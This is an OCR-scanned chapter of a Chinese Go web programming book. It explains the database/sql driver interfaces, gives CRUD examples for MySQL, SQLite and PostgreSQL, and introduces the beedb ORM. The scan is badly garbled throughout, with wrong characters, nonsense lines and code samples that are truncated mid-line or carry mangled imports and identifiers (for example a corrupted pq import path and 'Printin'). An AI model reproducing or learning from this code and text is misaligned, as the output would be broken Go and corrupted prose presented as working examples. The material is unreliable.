标准 接口 开发 的 ， 可 以 兼容 几乎 所 有 支持 database/sql 的 数据 库 驱 动 ， 可 以 方便 的 
使 用 Go style 来 进行 数据 库 操作 。 


目前 NOSQL 已 经 成 为 Web 开 发 的 一 个 潮流 ， 很 多 应 用 采用 了 NOSQL 作 为 数据 库 ， 
而 不 是 以 前 的 缓存 ，5.6 小 节 将 介绍 MongoDB 和 Redis 两 种 NOSQL 数 据 库 。 


Go database/sql tutorial 里 提供 了 惯用 的 范例 及 详细 的 说 明 。 


目录 
links 
e 目录 
e 上 一 章 : 第 四 章 总 结 
e 下 一 节 : database/sql##H 


5.1 database/sql 接 口 


Go 与 PHP 不 同 的 地 方 是 Go 官方 没有 提供 数据 库 驱 动 ， 而 是 为 开发 数据 库 驱 动 定义 
了 一 些 标准 接口 ， 开 发 者 可 以 根据 定义 的 接口 来 开发 相应 的 数据 库 驱 动 ， 这 样 做 有 
一 个 好 人 处， 只 要 是 按照 标准 接口 开发 的 代码 ， 以 后 需要 迁移 数据 库 时 ， 不 需要 任何 
修改 。 那 么 Go 都 定义 了 哪些 标准 接口 呢 ? 让 我 们 来 详细 的 分 析 一 下 


sql.Register 


这 个 存在 于 database/sql 的 函数 是 用 来 注册 数据 库 驱 动 的 ， 当 第 三 方 开发 者 开发 数 
据 库 驱动 时 ， 都 会 实现 init 辑 数 ， 在 init 里 面 会 调用 这 
个 Register(name string, driver driver.Driver) 完成 本 驱动 的 注册 。 


我 们 来 看 一 下 mymysql、sqlite3 的 驱动 里 面 都 是 怎么 调用 的 : 


//https://github.com/mattn/go-sqlite3 了 驱动 
func init() { 

sql.Register("sqlite3", &SQLiteDriver{}) 
} 


//https://github.com/mikespook/mymysql 了 驱动 
// Driver automatically registered in database/sql 
var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"} 
func init() { 
Register("SET NAMES utf8") 
sql.Register("mymysql", &d) 


我 们 看 到 第 三 方 数据 库 驱 动 都 是 通过 调用 这 个 函数 来 注册 自己 的 数据 库 驱 动 名 称 以 
及 相应 的 driver 实 现 。 在 database/sql 内 部 通过 一 个 map 来 存储 用 户 定 义 的 相应 驱 
动 。 

var drivers = make(map[string]driver.Driver) 


drivers[name] = driver 


FA tt it database/sqlAE AN AA LA fal at EMS TREE a, RTE, 


在 我 们 使 用 database/sql 接 口 和 第 三 方 库 的 时 候 经 常 看 到 如 下 : 


import ( 
"database/sql" 
_ "github.com/mattn/go-sqlite3" 


新 手 都 会 被 这 个 _ 所 迷惑 ， 其 实 这 个 束 是 Go 设计 的 巧妙 之 尔 ， 我 们 在 变量 赋 
值 的 时 候 经 常 看 到 这 个 符号 ， 它 是 用 来 忽略 变量 赋值 的 占 位 符 ， 那 么 包 引 入 用 
到 这 个 符号 也 是 相似 的 作用 ， 这 儿 使 用 _ 的 意思 是 引入 后 面 的 包 名 而 不 直接 
使 用 这 个 包 中 定义 的 防 数 ， 变 量 等 资源 。 


我 们 在 2.3 节 流程 和 画 数 一 节 中 介绍 过 init 画 数 的 初始 化 过 程 ， 包 在 引入 的 时 候 
会 自动 调用 包 的 init 范 数 以 完成 对 包 的 初始 化 。 因 此 ， 我 们 引入 上 面 的 数据 库 驱 
动 包 之 后 会 自动 去 调用 init 函 数 ， 然 后 在 init 函 数 里 面 注 册 这 个 数据 库 驱 动 ， 这 
样 我 们 就 可 以 在 接 下 来 的 代码 中 直接 使 用 这 个 数据 库 驱 动 了 。 


driver.Driver 


Driver 是 一 个 数据 库 驱 动 的 接口 ， 他 定义 了 一 个 method : Open(name string), i 
个 方法 返回 一 个 数据 库 的 Conn 接 口 。 
type Driver interface { 
Open(name string) (Conn, error) 
} 


返回 的 Conn 只 能 用 来 进行 一 次 goroutine 的 操作 ， 也 就 是 说 不 能 把 这 个 Conn 应 用 于 
Go 的 多 个 goroutine 里 面 。 如 下 代码 会 出 现 错误 


go goroutineA (Conn) // 执 行 查询 操作 
go goroutineB (Conn) ”// 执 行 插入 操作 


上 面 这 样 的 代码 可 能 会 使 Go 不 知道 某 个 操作 究竟 是 由 哪个 goroutine 发 起 的 ,从 而 导 
致 数据 混乱 ， 比 如 可 能 会 把 goroutineA 里 面 执 行 的 查询 操作 的 结果 返回 给 
goroutineB 从 而 使 B 错 误 地 把 此 结果 当成 自己 执行 的 插入 数据 。 


第 三 方 驱动 都 会 定义 这 个 画 数 ， 它 会 解析 name 参 数 来 获取 相 天 数据 库 的 连接 信 
息 ， 解 析 完 成 后 ， 它 将 使 用 此 信息 来 初始 化 一 个 Conn 并 返回 它 。 


driverConn 


Conn 是 一 个 数据 库 连 接 的 接口 定义 ， 他 定义 了 一 系列 方法 ， 这 个 Conn 只 能 应 用 在 
一 个 goroutine 里 面 ， 不 能 使 用 在 多 个 goroutine 里 面 ， 详 情 请 参考 上 面 的 说 明 。 


type Conn interface { 
Prepare(query string) (Stmt, error) 
Close() error 
Begin() (Tx, error) 


Prepare 画 数 返 回 与 当前 连接 相关 的 执行 Sql 语句 的 准备 状态 ， 可 以 进行 查询 、 删 除 
等 操作 。 


Close 画 数 关 闭 当前 的 连接 ， 执 行 释放 连接 拥有 的 资源 等 清理 工作 。 因 为 驱动 实现 
了 database/sql 里 面 建议 的 conn pool， 所 以 你 不 用 再 去 实现 缓存 conn 之 类 的 ， 这 样 
会 容易 引起 问题 。 


Begin 芳 数 返 回 一 个 代表 事务 处 理 的 Tx， 通 过 它 你 可 以 进行 查询 ,更 新 等 操作 ， 或 者 
对 事务 进行 回 滚 、 递 区 。 


driver.Stmt 


Stmt 是 一 种 准 各 好 的 状态 ， 和 Conn 相 关联 ， 而 且 只 能 应 用 于 一 个 goroutine 中 ， 不 
能 应 用 于 多 个 goroutine。 


type Stmt interface { 
Close() error 
NumInput() int 
Exec(args []Value) (Result, error) 
Query(args []Value) (Rows, error) 


Close 函 数 关 闭 当 前 的 链接 状态 。 但 是 如 果 当 前 正在 执行 query，query 还 是 有 效 返 
回 rows 数 据 。 


Numinput 沙 数 返 回 当前 预 留 参数 的 个 数 ， 当 返回 >=0 时 数据 库 驱 动 就 会 智能 检查 调 
用 者 的 参数 。 当 数据 库 驱 动 包 不 知道 预 留 参数 的 时 候 ， 返 回 -1。 


Exec 辑 数 执行 Prepare 准 备 好 的 sql， 传 人 参数 执行 update/insert 等 操作 ， 返 回 
Result 数 据 


Query 画 数 执行 Prepare 准 备 好 的 sql， 传 人 需要 的 参数 执行 select 操 作 ， 返 回 Rows 
结果 集 


driver.Tx 


事务 处 理 一 般 就 两 个 过 程 ， 递 交 或 者 回 滚 。 数 据 库 驱动 里 面 也 只 需要 实现 这 两 个 图 
数 就 可 以 


type Tx interface { 
Commit() error 
Rollback() error 


文 两 个 函数 一 个 用 来 递交 一 个 事务 ， 一 个 用 来 回 滚 事务 。 


driver.Execer 
这 是 一 个 Conn 可 选择 实现 的 接口 


type Execer interface { 
Exec(query string, args []Value) (Result, error) 
} 


如 果 这 个 接口 没有 定义 ， 那 么 在 调用 DB.Exec, 就 会 首先 调用 Prepare 返 回 Stmt， 然 
后 执行 Stmt 的 Exec， 然 后 关闭 Stmt。 


driver.Result 
这 个 是 执行 Update/lnsert 等 操作 返回 的 结果 接口 定义 


type Result interface { 
LastInsertId() (int64, error) 
RowsAffected() (int64, error) 


Lastinsertld 函 数 返 回 由 数据 库 执行 插入 操作 得 到 的 自 增 |D 号 。 
RowsAffected 函 数 返 回 query 操 作 影 响 的 数据 条 目 数 。 


driver.Rows 


Rows 是 执行 查询 返回 的 结果 集 接 口 定 义 


type Rows interface { 
Columns() []string 
Close() error 
Next(dest []Value) error 


Columns HŽ GRO 4 HB A RFR E, 2x MRENsliceMsdl sé qy+Fig—— 
对 应 ， 而 不 是 返回 整个 表 的 所 有 字段 。 


Close ARX H Rows (025. 
Next 函 数 用 来 返回 下 一 条 数据 ， 把 数据 赋值 给 dest。dest 里 面 的 元 素 必 须 是 


driverValue 的 值 除 了 string， 返 回 的 数据 里 面 所 有 的 string 都 必须 要 转换 成 []byte。 
如 果 最 后 没 数 据 了 ，Next 画 数 最 后 返回 io.EOF。 


driverRowsAffected 


RowsAffected 其 实 就 是 一 个 int64 的 别名 ， 但 是 他 实现 了 Result 接 口 ， 用 来 底层 实现 
Result 的 表示 方式 


type RowsAffected int64 
func (RowsAffected) LastInsertId() (int64, error) 


func (v RowsAffected) RowsAffected() (int64, error) 


driver.Value 
Value 其 实 就 是 一 个 空 接 口 ， 他 可 以 容纳 任何 的 数据 


type Value interface{} 


drive 的 Value 是 驱动 必须 能 够 操作 的 Value，Value 要 么 是 nil， 要 么 是 下 面 的 任意 一 
种 


int64 

float64 

bool 

[]byte 

string ”[*] 除 了 Rows .Next 返 回 的 不 能 是 string . 
time.Time 


driver.ValueConverter 
ValueConverter 接 口 定 义 了 如 何 把 一 个 普通 的 值 转化 成 driverValue 的 接口 


type ValueConverter interface { 
ConvertValue(v interface{}) (Value, error) 
} 


在 开发 的 数据 库 驱 动 包 里 面 实现 这 个 接口 的 函数 在 很 多 地 方 会 使 用 到 ， 这 个 
ValueConverter 有 很 多 好 处 : 


e 转化 driver.value 到 数据 库 表 相应 的 字段 ， 例 如 int64 的 数据 如 何 转 化 成 数据 库 表 
uint16 字 段 

o 把 数据 库 查 询 结果 转化 成 driver.Value 值 

e 在 scan 本 数 里 面 如 何 把 driverValue 值 转化 成 用 户 定义 的 值 


driver.Valuer 
Valuer 接 口 定 义 了 返回 一 个 driverValue 的 方式 


type Valuer interface { 
Value() (Value, error) 
} 


ma 


多 类 型 都 实现 了 这 个 Value 方法 ， 用 来 自身 与 driver.Value 的 转化 。 


通过 上 面 的 讲解 ， 你 应 该 对 于 驱动 的 开发 有 了 一 个 基本 的 了 解 ， 一 个 驱动 只 要 实现 
了 这 些 接口 就 能 完成 增 册 查 改 等 基本 操作 了 ， 剩 下 的 就 是 与 相应 的 数据 库 进行 数据 
交互 等 细节 问题 了 ， 在 此 不 再 疯 述 。 


database/sql 


database/sql 在 database/sql/driver 提 供 的 接口 基础 上 定义 了 一 些 更 高 阶 的 方法 ， 用 
以 简化 数据 库 操 作 , 同 时 内 部 还 建议 性 地 实现 一 个 conn pool。 


type DB struct { 


driver driver .Driver 
dsn string 
mu sync.Mutex // protects freeConn and closed 


freeConn []driver.Conn 
closed bool 


我 们 可 以 看 到 Open 函 数 返 回 的 是 DB 对 象 ， 里 面 有 一 个 freeConn， 它 就 是 那个 简易 
的 连接 池 。 它 的 实现 相当 简单 或 者 说 简陋 ， 就 是 当 执 行 Db.prepare 的 时 候 

会 defer db.putConn(ci, err) ,也 就 是 把 这 个 连接 放 入 连接 池 ， 每 次 调用 conn 
的 时 候 会 先 判 断 freeConn 的 长 度 是 否 大 于 0， 大 于 0 说 明 有 可 以 复 用 的 conn， 直 接 拿 


: 访问 数据 库 
: 使 用 MySQL 数 据 库 


5.2 使 用 MySQL 数 据 库 


目前 Internet 上 流行 的 网 站 构架 方式 是 LAMP， 其 中 的 M 即 MySQL, 作为 数据 库 ， 
MySQL 以 免费 、 开源 、 使 用 方便 为 优势 成 为 了 很 多 Web 开 发 的 后 端 数据 库存 储 引 


Fo 


MySQL 3x 


Go 中 支持 MySQL 的 驱动 目前 比较 多 ， 有 如 下 几 种 ， 有 些 是 支持 database/sql 标 准 ， 
而 有 些 是 采用 了 自己 的 实现 接口 ,常用 的 有 如 下 几 种 : 


e https://github.com/go-sql-driver/mysql 支持 database/sql， 全 部 采用 go 写 。 

e https://github.com/ziutek/nymysql 支持 database/sql， 也 支持 自 定 义 的 接口 ， 
全 部 采用 go 写 。 

e https://github.com/Philio/GoMySQL 不 支持 database/sql， 自 定义 接口 ， 全 部 
采用 go 写 。 


接 下 来 的 例子 我 主要 以 第 一 个 驱动 为 例 (我 目前 项 目 中 也 是 采用 它 来 驱动 )， 也 推荐 
大 家 采用 它 ， 主 要 理由 : 


o 这 个 驱动 比较 新 ， 维 护 的 比较 好 

完全 支持 database/sql 接 口 

支持 keepalive， 保 持 长 连接 ,虽然 星星 fork 的 mymysql 也 支持 keepalive， 但 不 是 
线程 安全 的 ， 这 个 从 底层 就 支持 了 keepalive。 


示例 代码 


接 下 来 的 几 个 小 节 里 面 我 们 都 将 采用 同一 个 数据 库 表 结构 : 数据 库 test， 用 户 表 
userinfo， 关 联 用 户 信息 表 userdetail。 


CREATE TABLE “userinfo ( 
“uid INT(10) NOT NULL AUTO_INCREMENT, 
“username  VARCHAR(64) NULL DEFAULT NULL, 
~departname VARCHAR(64) NULL DEFAULT NULL, 
`created` DATE NULL DEFAULT NULL, 
PRIMARY KEY (`uid`) 

) 


CREATE TABLE ‘userdetail ( 
`uid` INT(10) NOT NULL DEFAULT 'O', 
`intro` TEXT NULL, 
`profile` TEXT NULL, 
PRIMARY KEY (`uid`) 


如 下 示例 将 示范 如 何 使 用 database/sql 接 口 对 数据 库 表 进 行 增删 改 查 操作 


package main 


import ( 
_ "github.com/go-sql-driver/mysql" 
"database/sql" 
W fmt " 
//"time" 
) 
func main() { 
db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=uti 
checkErr(err ) 
// 插 入 数据 
stmt, err := db.Prepare("INSERT userinfo SET username=?,departr 
checkErr(err ) 


res, err := stmt.Exec("astaxie", "研发 部 门 "，"2012-12-09") 
checkErr (err) 


id, err := res.LastInsertId() 
checkErr (err) 


fmt.Println(id) 


// 更 新 数据 
stmt, err = db.Prepare("update userinfo set username=? where u: 
checkErr(err ) 


res, err = stmt.Exec("astaxieupdate", id) 
checkErr (err) 


affect, err := res.RowsAffected() 
checkErr (err) 


fmt.Println(affect) 


// 查 询 数据 
rows, err := db.Query("SELECT * FROM userinfo") 
checkErr (err) 


for rows.Next() { 
var uid int 
var username string 
var department string 
var created string 
err = rows.Scan(&uid, &username, &department, &created) 
checkErr (err) 
fmt.Println(uid) 
fmt.Println(username) 
fmt.Println(department) 


fmt .Println(created) 


} 

// 删 除数 据 

stmt, err = db.Prepare("delete from userinfo where uid=?") 
checkErr(err) 


res, err = stmt.Exec(id) 
checkErr(err) 


affect, err = res.RowsAffected() 
checkErr(err) 


fmt .Println(affect) 


db.Close() 
} 
func checkErr(err error) { 
if err != nil { 
panic(err) 
} 
} 





过 上 面 的 代码 我 们 可 以 看 出 ，Go 操 作 Mysql 数 据 库 是 很 方便 的 。 
关键 的 几 个 函数 我 解释 一 下 : 


sql.Open() 画 数 用 来 打开 一 个 注册 过 的 数据 库 驱 动 ，go-sql-driver 中 注册 了 mysql 这 
个 数据 库 驱 动 ， 第 二 个 参数 是 DSN(Data Source Name)， 它 是 go-sql-driver 定 义 的 
一 些 数据 库 链 接 和 配置 信息 。 它 支持 如 下 格式 : 


user@unix(/path/to/socket )/dbname?charset=utf8 

user :password@tcp(localhost:5555)/dbname?charset=utf8 
user :password@/dbname 

user :password@tcp([de:ad:be:ef::ca:fe]:80)/dbname 


db.Prepare() 画 数 用 来 返回 准备 要 执行 的 sq| 操 作 ， 然 后 返回 准 各 完毕 的 执行 状态 。 
db.Query() 范 数 用 来 直接 执行 Sql 返 回 Rows 结 果 。 
stmt.Exec() 男 数 用 来 执行 stmt 准 各 好 的 SQL 语 句 


我 们 可 以 看 到 我 们 传人 的 参数 都 是 =? 对 应 的 数据 ， 这 样 做 的 方式 可 以 一 定 程度 上 防 
止 SQL 注入 。 


links 


Go Web 编程 


e H 
e 上 一 节 : database/sql 接 口 
。 下 一 节 : 使 用 SQLite 数 据 库 


使 用 MySQL 数 据 库 150 


5.3 使 用 SQLite 数 据 库 


SQLite 是 一 个 开源 的 族人 式 关 系数 据 库 ， 实 现 自 包容 、 雪 配置 、 支 持 事务 的 SQL 数 
据 库 引擎 。 其 特点 是 高 度 便 携 、 使 用 方便 、 结 构 紧 次、 高 效 、 可 靠 。 与 其 他 数据 库 
管理 系统 不 同 ，SQLite 的 安装 和 运行 非常 简单 ， 在 大 多 数 情 况 下 ,只 要 确保 SQLite 
的 二 进 制 文件 存在 即 可 开始 创建 、 连 接 和 使 用 数据 库 。 如 果 您 正在 寻找 一 个 散人 式 
数据 库 项 目 或 解决 方案 ，SQLite 是 绝对 值得 考虑 。SQLite 可 以 是 说 开源 的 Access。 


驱动 


Go 支持 sqlite 的 驱动 也 比较 多 ， 但 是 好 多 都 是 不 支持 database/sql 接 口 的 


e hitps://github.com/mattn/go-sqlite3 支持 database/sql 接 口 ， 基 于 cgo( 关 于 cgo 
的 知识 请 参看 官方 文档 或 者 本 书后 面 的 章节 ) 写 的 

e hittps://github.com/feyeleanor/gosqlite3 不 支持 database/sql 接 口 ， 基 于 cgo 写 
的 


e https://github.com/phf/go-sqlite3 不 支持 database/sql 接 口 ， 基 于 cgo 写 的 


目前 支持 database/sql 的 SQLite 数 据 库 驱 动 只 有 第 一 个 ， 我 目前 也 是 采用 它 来 开发 
项 目的 。 采 用 标准 接口 有 利于 以 后 出 现 更 好 的 驱动 的 时 候 做 迁移 。 


实例 代码 
示例 的 数据 库 表 结构 如 下 所 示 ， 相 应 的 建 表 SQL : 


CREATE TABLE ‘userinfo ( 
`uid` INTEGER PRIMARY KEY AUTOINCREMENT, 
“username VARCHAR(64) NULL, 
departname VARCHAR(64) NULL, 
‘created DATE NULL 


); 


CREATE TABLE ‘userdeatail ( 
~uid> INT(10) NULL, 
`intro` TEXT NULL, 
`profile` TEXT NULL, 
PRIMARY KEY (`uid`) 


); 


看 下 面 Go 程 序 是 如 何 操作 数据 库 表 数据 :增删 改 查 


package main 


import ( 


"database/sql" 

"Fmt " 

"time" 

_ "github.com/mattn/go-sqlite3" 
) 


func main() { 
db, err := sql.Open("sqlite3", "./foo.db") 
checkErr(err ) 


// 插 入 数据 
stmt, err := db.Prepare("INSERT INTO userinfo(username, departr 
checkErr (err) 


res, err := stmt.Exec("astaxie", "研发 部 门 "，"2012-12-09") 
checkErr(err) 


id, err := res.LastInsertId() 
checkErr(err ) 


fmt .Printin(id) 


// 更 新 数据 
stmt, err = db.Prepare("update userinfo set username=? where u: 
checkErr(err) 


res, err = stmt.Exec("astaxieupdate", id) 
checkErr (err) 


affect, err := res.RowsAffected() 
checkErr (err) 


fmt.Println(affect) 


// 查 询 数据 
rows, err := db.Query("SELECT * FROM userinfo") 
checkErr(err) 


for rows.Next() { 
var uid int 
var username string 
var department string 
var created time.Time 
err = rows.Scan(&uid, &username, &department, &created) 
checkErr (err) 
fmt.Println(uid) 
fmt.Println(username) 
fmt.Println(department) 
fmt.Println(created) 


} 
// 删 除数 据 


stmt, err = db.Prepare("delete from userinfo where uid=?") 
checkErr(err ) 


res, err = stmt.Exec(id) 
checkErr(err ) 


affect, err = res.RowsAffected() 
checkErr(err ) 


fmt .Printin(affect ) 
db.Close() 


} 


func checkErr(err error) { 
if err != nil { 
panic(err) 


} 
了 


我 们 可 以 看 到 上 面 的 代码 和 MySQL 例 子 里 面 的 代码 几乎 是 一 模 一 样 的 ， 唯 一 改变 的 
就 是 导入 的 驱动 改变 了 ， 然 后 调用 sql.0pen 是 采用 了 SQLite 的 方式 打开 。 





sqlite 管 理工 具 http://sqliteadmin.orbmu2k.de/ 
可 以 方便 的 新 建 数据 库 管 理 。 


节 : 使 用 MySQL 数 据 库 
一 节 : 使 用 PostgreSQL 数 据 库 


5.4 使 用 PostgreSQL 数 据 库 


PostgreSQL 是 一 个 自由 的 对 象 -关系 数据 库 服务 器 (数据 库 管 理 系 统 )， 它 在 灵活 的 
BSD- 风 格 许可 证 下 发 行 。 它 提供 了 相对 其 他 开放 源 代码 数据 库 系 统 ( 比 如 MySQL 
和 Firebird)， 和 对 专 有 系统 比如 Oracle, Sybase, IBM 的 DB2 和 Microsoft SQL 
Server 的 一 种 选择 。 


PostgreSQL 和 MySQL 上 比较 ， 它 更 加 庞大 一 点 ， 因 为 它 是 用 来 替代 Oracle 而 设计 
的 。 所 以 在 企业 应 用 中 采用 PostgreSQL 是 一 个 明智 的 选择 。 


MySQL 被 Oracle 收 购 之 后 正在 逐步 的 封闭 〈 自 MySQL 5.5.31 以 后 的 所 有 版 本 将 不 
再 遵循 GPL 协议 ) ， 鉴 于 此 ， 将 来 我 们 也 许 会 选择 PostgreSQL 而 不 是 MySQL 作 为 
项 目的 后 端 数据 库 。 


驱动 
Go 实现 的 支持 PostgreSQL 的 驱动 也 很 多 ， 因 为 国外 很 多 人 在 开发 中 使 用 了 这 个 数 
据 库 。 


e hitps://github.com/lib/pq 支持 database/sql 驱 动 ， 纯 Go 写 的 
e https://github.com/jbarham/gopgsqldriver 支持 database/sql 了 驱动 ， 纯 Go 写 的 
e https://github.com/Ilxn/go-pgsql 支持 database/sql 驱 动 ， 纯 Go 写 的 


在 下 面 的 示例 中 我 采用 了 第 一 个 驱动 ， 因 为 它 目 前 使 用 的 人 最 多 ， 在 github 上 也 比 
较 活跃 。 


实例 代码 
数据 库 建 表 语句 : 


CREATE TABLE userinfo 


( 
uid serial NOT NULL, 


username character varying(100) NOT NULL, 
departname character varying(500) NOT NULL, 
Created date, 

CONSTRAINT userinfo_pkey PRIMARY KEY (uid) 


WITH (OIDS=FALSE); 

CREATE TABLE userdeatail 

( 
uid integer, 
intro character varying(100), 
profile character varying(100) 


WITH(OIDS=FALSE ) ; 


看 下 面 这 个 Go 如 何 操作 数据 库 表 数据 :增删 改 查 


package main 


import ( 
"database/sql" 
W fmt " 
_ "https://github.com/1lib/pq" 
) 
func main() { 
db, err := sql.Open("postgres", "user=astaxie password=astaxie 
checkErr(err ) 
// 插 入 数据 
stmt, err := db.Prepare("INSERT INTO userinfo(username, departni 
checkErr(err ) 


res, err := stmt.Exec("astaxie", "研发 部 门 "，"2012-12-09") 
checkErr(err) 


//pg 不 支持 这 个 画 数 ， 因 为 他 没有 类 似 MySQL 的 自 增 ID 
id, err := res.LastInsertId() 
checkErr (err) 


fmt .Printin(id) 


// 更 新 数据 
stmt, err = db.Prepare("update userinfo set username=$1 where ı 
checkErr (err) 


res, err = stmt.Exec("astaxieupdate", 1) 
checkErr (err) 


affect, err := res.RowsAffected() 
checkErr(err) 


fmt .Println(affect ) 


// 查 询 数 据 
rows, err := db.Query( "SELECT * FROM userinfo") 
checkErr(err) 


for rows.Next() { 
var uid int 
var username string 
var department string 
var created string 
err = rows.Scan(&uid, &username, &department, &created) 
checkErr(err) 
fmt .Println(uid) 
fmt .Println(username ) 
fmt .Println(department ) 
fmt .Println(created) 


} 

// 删 除数 据 

stmt, err = db.Prepare("delete from userinfo where uid=$1") 
checkErr (err) 


res, err = stmt.Exec(1) 
checkErr (err) 


affect, err = res.RowsAffected() 
checkErr (err) 


fmt.Println(affect) 


db.Close() 
} 
func checkErr(err error) { 
if err != nil { 
panic(err) 
} 





mi _ 


从 上 面 的 代码 我 们 可 以 看 到 ，PostgreSQL 是 通过 $1 , $2 这 种 方式 来 指定 要 传递 
的 参数 ， 而 不 是 MySQL 中 的 ? ， 另 外 在 sql.Open 中 的 dsn 信 息 的 格式 也 与 MySQL 
的 驱动 中 的 dsn 格 式 不 一 样 ， 所 以 在 使 用 时 请 注意 它们 的 差异 。 


还 有 pg 不 支持 Lastlnsertld 函 数 ， 因 为 PostgreSQL 内 部 没有 实现 类 似 MySQL 的 自 增 
ID 返回 ， 其 他 的 代码 几乎 是 一 模 一 样 。 


Go Web 编程 


links 
e@ 目录 


eo 上 一 节 : 使 用 SQLite 数 据 库 
。 下 一 节 : 使 用 beedb 库 进行 ORM 开 发 


使 用 PostgreSQL 数 据 库 
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5.5 使 用 beedb 库 进行 ORM 开 发 


beedb 是 我 开发 的 一 个 Go 进行 ORM 操 作 的 库 ， 它 采用 了 Go style 方 式 对 数据 库 进 行 
操作 ， 实 现 了 struct 到 数据 表 记 录 的 映射 。beedb 是 一 个 十 分 轻 量 级 的 Go ORM 框 
架 ， 开 发 这 个 库 的 本 意 降低 复杂 的 ORM 学 习 曲 线 ， 尽 可 能 在 ORM 的 运行 效率 和 功 
能 之 间 寻 求 一 个 平衡 ，beedb 是 目前 开源 的 Go ORM 框 架 中 实现 比较 完整 的 一 个 
库 ， 而 且 运 行 效率 相当 不 错 ， 功 能 也 基本 能 满足 需求 。 但 是 目前 还 不 支持 关系 关 
联 ， 这 个 是 接 下 来 版 本 升级 的 重点 。 

beedb 是 支持 database/sql 标 准 接口 的 ORM 库 ， 所 以 理论 上 来 说 ， 只 要 数据 库 驱 动 
支持 database/sql 接 口 就 可 以 无 颖 的 接 入 beedb。 目 前 我 测试 过 的 驱动 包括 下 面 几 
A 

MysqI:github.com/ziutek/mymysql/godrv[*] 
Mysql:code.google.com/p/go-mysal-driver[*] 
PostgreSQL:github.com/bmizerany/pq[*] 

SQLite:github.com/mattn/go-sqlite3[*] 

MS ADODB: github.com/mattn/go-adodb[*] 


ODBC: bitbucket.org/miquella/mgodbc|*] 

ch = 

BR 

beedb 支 持 go get 方 式 安装 ， 是 完全 按照 Go Style 的 方式 来 实现 的 。 


go get github.com/astaxie/beedb 


如 何 初 始 化 


首先 你 需要 import 相 应 的 数据 库 驱 动 包 、database/sql 标 准 接口 包 以 及 beedb 包 ， 如 
下 所 示 : 


import ( 
"database/sql" 
"github.com/astaxie/beedb" 
_ "github.com/ziutek/mymysgql/godrv" 


导入 必须 的 package 之 后 ,我 们 需要 打开 到 数据 库 的 链接 ， 然 后 创建 一 个 beedb 对 象 
(以 MySQL 为 例 )， 如 下 所 示 


db, err := sql.Open("mymysql", "test/xiemengjun/123456" ) 
if err != nil { 
panic(err) 


} 
orm := beedb.New(db) 


beedbRNewWR stk AZAA TAA, A-TSR HERON, BITER 
= ala 如 果 你 使 用 的 数据 库 引 擎 是 MySQL/Sqlite, 那 么 第 二 个 参数 都 
可 以 省 略 。 


如 果 你 使 用 的 数据 库 是 SQLServer， 那 么 初始 化 需要 : 


orm = beedb.New(db, "mssql") 


如 果 你 使 用 了 PostgreSQL， 那 么 初始 化 需要 : 


orm = beedb.New(db, "pg") 


目前 beedb 支 持 打印 调试 ， 你 可 以 通过 如 下 的 代码 实现 调试 


beedb .OnDebug=true 


接 下 来 我 们 的 例子 采用 前 面 的 数据 库 表 Userinfo， 现 在 我 们 建立 相应 的 struct 


type Userinfo struct { 


Uid int `PK` // 如 果 表 的 主键 不 是 id， 那 么 需要 加 上 pk 注释 ， 显 式 的 说 这 人 
Username string 

Departname string 

Created time.Time 


} 
a] : sian 
注意 一 点 ，beedb 针 对 驼峰 命名 会 自动 帮 你 转化 成 下 划 线 字段 ， 例 如 你 定义 了 


Struct 名 字 为 UserInfo ， 那 么 转化 成 底层 实现 的 时 候 是 user_info ， 字 段 
命名 也 遵循 该 规则 。 


插入 数据 


下 面 的 代码 演示 了 如 何 插入 一 条 记录 ， 可 以 看 到 我 们 操作 的 是 struct 对 象 ， 而 不 是 
原生 的 sql 语 句 ， 最 后 通过 调用 Save 接 口 将 数据 保存 到 数据 库 。 





var saveone Userinfo 

saveone.Username = "Test Add User" 
saveone.Departname = "Test Add Departname" 
saveone.Created = time.Now() 

orm. Save(&saveone) 


我 们 看 到 插入 之 后 saveone.Uid 就 是 插入 成 功 之 后 的 自 增 ID。Save 接 口 会 自动 帮 
你 存 进 去 。 


beedb 接 口 提 供 了 另外 一 种 插入 的 方式 ，map 数 据 插入 。 


add := make(map[string]interface{}) 
add["username"] = "astaxie" 
add["departname"] = "cloud develop" 
add["created"] = "2012-12-02" 
orm.SetTable("userinfo").Insert(add) 


插入 多 条 数据 


addslice := make([]map[string]interface{}, 0) 
add:=make(map[string]interface{}) 
add2:=make(map[string]interfacef{}) 


add["username"] = "astaxie" 
add["departname"] = "cloud develop" 
add["created"] = "2012-12-02" 
add2["username"] = "astaxie2" 


add2["departname"] = "cloud develop2" 
add2["created"] = "2012-12-02" 

addslice =append(addslice, add, add2) 
orm.SetTable("userinfo").InsertBatch(addslice) 


上 面 的 操作 方式 有 点 类 似 链 式 查询 ， 熟 悉 jquery 的 同学 应 该 会 党 得 很 亲切 ， 每 次 调 
用 的 method 都 会 返回 原 orm 对 象 ， 以 便 可 以 继续 调用 该 对 象 上 的 其 他 method。 


上 面 我 们 调用 的 SetTable 函 数 是 显 式 的 告诉 ORM， 我 要 执行 的 这 个 map 对 应 的 数据 
库 表 是 userinfo 。 


更 新 数据 


继续 上 面 的 例子 来 演示 更 新 操作 ， 现 在 saveone 的 主键 已 经 有 值 了 ， 此 时 调用 save 
接口 ，beedb 内 部 会 自动 调用 update 以 进行 数据 的 更 新 而 非 插入 操作 。 


saveone.Username = "Update Username" 
saveone.Departname = "Update Departname" 
saveone.Created = time.Now() 

orm.Save(&saveone) // 现 在 saveone 有 了 主键 值 ， 就 执行 更 新 操作 


更 新 数据 也 支持 直接 使 用 map 操 作 


t := make(map[string]interface{}) 
t["username"] = "astaxie" 
orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t) 


这 里 我 们 调用 了 几 个 beedb 的 函数 
SetPK : 显 式 的 告诉 ORM， 数 据 库 表 userinfo 的 主键 是 uid o 


Where: 用 来 设置 条 件 ， 支 持 多 个 参数 ， 第 一 个 参数 如 果 为 整数 ， 相 当 于 调用 了 
Where(" 主 键 =?", 值 )。 Updata 函 数 接收 map 类 型 的 数据 ， 执 行 更 新 数据 。 


查询 数据 


beedb 的 查询 接口 比较 灵活 ， 具 体 使 用 请 看 下 面 的 例子 
例子 1， 根 据 主 键 获取 数据 : 


var user Userinfo 


//Where 接 受 两 个 参数 ， 支 持 整形 参数 
orm.Where("uid=?", 27).Find(&user ) 


例子 2 


var user2 Userinfo 
orm.Where(3).Find(&user2) // 这 是 上 面 版 本 的 缩写 版 ， 可 以 省 略 主键 


例子 3， 不 是 主键 类 型 的 的 条 件 : 


var user3 Userinfo 
//Where 接 受 两 个 参数 ， 支 持 字符 型 的 参数 


orm.Where("name = ?", "john").Find(&user3) 


